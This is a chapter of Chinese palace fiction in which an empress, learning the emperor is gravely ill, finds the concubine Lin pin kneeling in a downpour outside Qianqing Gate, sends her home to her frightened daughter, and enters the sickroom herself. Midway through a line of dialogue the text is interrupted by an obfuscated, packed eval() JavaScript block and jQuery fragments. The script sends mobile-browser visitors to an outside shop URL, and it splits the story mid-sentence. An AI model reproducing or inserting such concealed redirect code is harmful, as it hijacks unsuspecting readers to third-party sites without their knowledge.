那年是——
建安二十八年。
深秋。
滚滚黑云盘旋在京城的上空，层层叠叠，如墨如铅，仿佛要碾碎那几道飞翘的檐角。
御前的太监们脚步匆匆，从乾清宫侧门鱼贯而出，又疾步折返，手中捧着巾帕、药盏、铜盆，衣袂带起的风搅碎了廊下凝滞的空气。
无人敢高声言语，只有急促的脚步声。
他们眉眼间掩不住的仓皇，却比任何言语都更直白地泄露了天机——
龙体欠安。
这四个字，比秋日的寒意更先渗透了整座宫城。
宫墙的朱红在晦暗天光下显得愈发深沉，像干涸的血迹。亭台楼阁的飞檐翘角隐入铅灰色的天幕，轮廓模糊，失去了往日的精巧，只余下不可言状的诡谲，沉沉地压着每一寸砖石。
晨风穿堂而过，裹挟着深秋特有的萧瑟，吹落了香郁峰山崖上最后一抹红。那零星几片残叶打着旋儿落下，在空中徒劳地挣扎了几下，终究归于尘土。
天色沉得厉害。
坤宁宫的暖阁内，与外头的压抑截然不同。
地龙烧得恰到好处，驱散了秋日所有的阴寒。铜胎掐丝珐琅的熏炉里燃着沉水香，青烟袅袅。
皇后午憩方醒。
她坐在妆台前，着一件绛紫色寝衣，长发如墨缎般垂至腰际。铜镜光亮可鉴，映出一张略显沧桑的的脸——眉如远山，眼似流波，眼角虽有几道细细的纹路
贴身掌事姑姑沈檀立在她身后，手持一柄玉梳，正仔仔细细地替她通发。
皇后闭着眼，神色舒缓。
沈檀梳了几顺，忽然开口：“娘娘，今儿个一早，丽嫔又去乾清宫求见陛下了。”
梳子没有停顿，皇后也没有睁眼。
“第几日了？”她的声音淡淡的。
“回娘娘，第五日了。”沈檀语气平稳‘“说是要带十四殿下和福安公主给陛下请安。”
“福安”二字落进耳朵，皇后缓缓睁开眼。
福安公主闻芷清，是当今圣上最小的女儿，今年刚满六岁。
福安，福安——福寿安康。
那孩子生下来时小小一团，哭声却响亮得很，她抱在怀里，心里又酸又软，便求了陛下这个恩典。
“丽嫔倒是心急。”皇后望着镜中的自己。
沈檀如实道：“十四殿下已经五岁了，至今仍是不肯开口。太医换了三拨，说法都一样——贵人语迟。但丽嫔心里清楚，这种事，拖不得。”
皇后的目光落在镜中自己的眉眼上，她沉默了片刻，才又开口，声音轻得像叹息：
“丽嫔母族不显，她怕将来福安长大了，因着生母位分低，被随手指去苦寒之地和亲。”
沈檀的睫毛微微动了一下，没有接话。
她对着镜中的人，慢慢地说下去，语调平淡：“太宗朝的宜秀公主，生母不过是个贵人，被送去漠北和亲，不到三年便香消玉殒。先帝朝的庆阳公主的生母刘氏好歹也是四品官之后，都不免嫁去西南边陲。更何况是丽嫔呢？”她声音不高，却字字清晰，“换作本宫，本宫也会急。天家薄情，本宫当年跪在乾清宫外跪了两个时辰，雨比今日还大——陛下不也没有见本宫吗？”
沈檀垂下眼，手顿了顿，随后又继续拿着玉梳，一下一下地替皇后通发。
皇后伸手从妆奁中取出一支青玉簪，仔细看了看又放下“这些小姑娘家家用着合适，本宫——老咯。”
“娘娘说笑了。这东西六宫大小事宜都由娘娘操持，近来娘娘觉又浅，这才起色差了些。不像奴婢啊，鬓角都白了。”
崔令仪望着铜镜里依偎在一起的二人，嘴角勾起一眸笑。“你我主仆二人相伴，转眼也有四十多个年头了。还记得本宫出嫁那会儿，也是你在给我通发。”说罢，便轻轻拍了拍沈檀的手。
“丽嫔想趁着陛下还在，替福安和小十四挣个前程——本宫不怪她。”皇后站起身，沈檀连忙取了外裳替她披上，“她想去乾清宫，便让她去吧。”
皇后系着领口的盘扣，目光越过窗棂，望向外面那方仍旧黑沉沉的天。
云压得极低，像是随时要倾覆下来。
“几时了？”皇后问。
“回娘娘，申时刚过。”沈檀答。
皇后沉默了一瞬，忽然转身，朝门外走去。
“娘娘？”沈檀微微一愣。
“去乾清宫。”皇后的声音很平静，“陛下这身子，本宫不去看一眼，不安心。”
话音刚落，远远的天边，传来一声沉闷的雷响。
沈檀应了声“是”，快步跟上，顺手从门边取了一把油纸伞，夹在臂弯里。
崔令仪的仪仗刚出宫门，雨便落了下来。
起初只是稀疏的几点，砸在青石地面上，绽开深色的水痕，像墨滴落在宣纸上，缓缓洇开。沈檀撑开伞，稳稳地举在皇后头顶。
可不过转瞬之间，那雨便急了起来。
仿佛天被人捅了个窟窿，万千雨线倾泻而下，密匝匝地砸向地面，溅起一片白茫茫的水雾。
沈檀将伞往皇后那边倾了倾，自己的半个肩膀很快湿透。
“娘娘，雨太大了，是否先寻个地方避一避？”沈檀的声音在雨幕中显得沉闷。
“不必。”皇后步履未停。
秋日的暴雨来得又急又猛，没有半分商量的余地。
快到乾清门时，沈檀忽然脚步一顿。
“娘娘。”她的声音沉了下去。
皇后顺着她的目光望去——
乾清门外的石阶下，一个身影直挺挺地跪在那里。
雨水如瀑，将那人的发髻浇得七零八落，珠翠歪斜，几缕湿透的头发贴在惨白的脸颊上。身上那件藕粉色的宫装早已湿透，紧紧裹着瘦削的身形，裙摆摊在地上，浸在积水里，洇出一片深浅不一的脏污。
——是丽嫔。
她身后跪着两个同样被浇透的宫女，瑟瑟发抖，却不敢动弹。
两个守门的太监撑着伞站在檐下，面无表情，像两根钉在雨里的木桩。为首的那个太监双手拢在袖中，微微躬着身，正对丽嫔说着什么。
丽嫔仰着头，嘴唇翕动，似乎在哀求。雨水顺着她的脸颊往下淌，模糊了五官，分不清哪些是雨，哪些是泪。
可那两个太监只是摇头。
崔令仪的脚步停了下来。
沈檀撑着伞，目光扫过雨中那个狼狈不堪的身影，眉头几不可察地皱了一下。她压低声音：“娘娘，丽嫔这是……跪了有些时候了。”
皇后没有说话。
她看着雨中那个几乎要被雨水吞没的身影，看着丽嫔湿透的鬓发间那支歪斜的赤金簪子，看着那双死死撑着地面指节早已发白的手。
“去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872732|212326||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，把丽嫔扶起来。”
沈檀微微一怔，随即应道：“是。”
她将伞递给身侧的宫女，自己大步走进雨中。雨水瞬间浇透了她的衣袍，她却浑不在意，几步走到丽嫔跟前，弯下腰，伸手去扶。
丽嫔浑身一颤，猛地抬头，雨水模糊了她的视线，待看清来人，眼中闪过一丝惊惶，嘴唇哆嗦着：“皇……皇后娘娘……”
“丽嫔娘娘，皇后娘娘请您起来。”沈檀的声音不高，却沉稳有力。
她的手掌扣住丽嫔的臂弯，稳稳地往上提。丽嫔的膝盖早已跪得麻木，踉跄了一下，被沈檀牢牢扶住。两个宫女连忙爬起身，一左一右搀住了自己的主子。
沈檀松开手，退后一步，转身回到皇后身边，重新从后面的宫女手上接过伞。
丽嫔被人扶着，踉踉跄跄地走到皇后跟前，膝盖一弯就要跪下：“臣妾……臣妾给皇后娘娘请安……”
“不必跪了。”皇后抬手制止，目光落在丽嫔湿透的狼狈面容上。
雨水顺着丽嫔的下颌往下滴，她的嘴唇冻得发紫，整个人像一片被暴雨打落的叶子，瑟瑟发抖。
皇后看着她，沉默了片刻。
然后，她伸出手，将自己肩上的披风解了下来，亲手披在了丽嫔肩上。
丽嫔浑身一震，欲张嘴却发不出声音。
“福安怕打雷。”皇后说，声音很轻，却异常清晰，“这么大的雨，那孩子一个人在宫里，怕是吓坏了。你先回去陪她。”
丽嫔的眼眶瞬间红了。雨水和泪水混在一起，顺着脸颊往下淌，她咬着唇，拼命忍着，却还是没能忍住。
“娘娘……臣妾……”
“本宫替你去看看陛下。”皇后打断她。
“去吧。”她继续说。
然后转身，朝乾清门走去。
沈檀撑伞跟上，步伐沉稳如常。守门的太监远远瞧见皇后的仪仗，早已跪了一地，方才拦着丽嫔的那股子木桩似的冷硬，此刻消散得干干净净。
皇后没有看他们，径直入了乾清门。
身后，雨势愈发猛烈，哗哗的雨声像千百条鞭子抽打着天地。丽嫔被她的人搀着退到廊下，那道披风裹在她瘦削的肩上，在漫天雨幕中，显得格外醒目。
乾清殿内，却是另一番光景。
殿门紧闭，将那铺天盖地的雨声隔在了外头，却隔不干净。雨水砸在琉璃瓦上，砸在石阶上和殿外的铜缸上，汇成一片沉闷而持续的轰鸣，像远山的回响，从四面八方涌来，将整座大殿淹没其中。
殿内光线昏暗，只点了几盏烛火。空气中弥漫着浓重的药味，混着龙涎香燃烧后的余烬气息，沉闷而压抑。
崔令仪一步步走向内殿。
御前的太监们垂手而立，无人敢拦。周全安躬着身，无声地引路，面上看不出任何表情。
绕过紫檀木雕云龙纹的屏风，皇后的目光落在了那张宽大的龙床上。
明黄的帷幔半垂着，遮住了床上人的大半面容，只露出一只枯瘦的手，无力地搭在锦被之外。
殿外的雨声实在太大了。
皇后在床前站定，目光落在那张消瘦得几乎认不出原本模样的脸上，久久没有移开。
殿外，大雨滂沱，天地间好像只剩下这一种声音。
而她身后，殿门之外，那个被风雨浇透的身影不知期待着什么回应。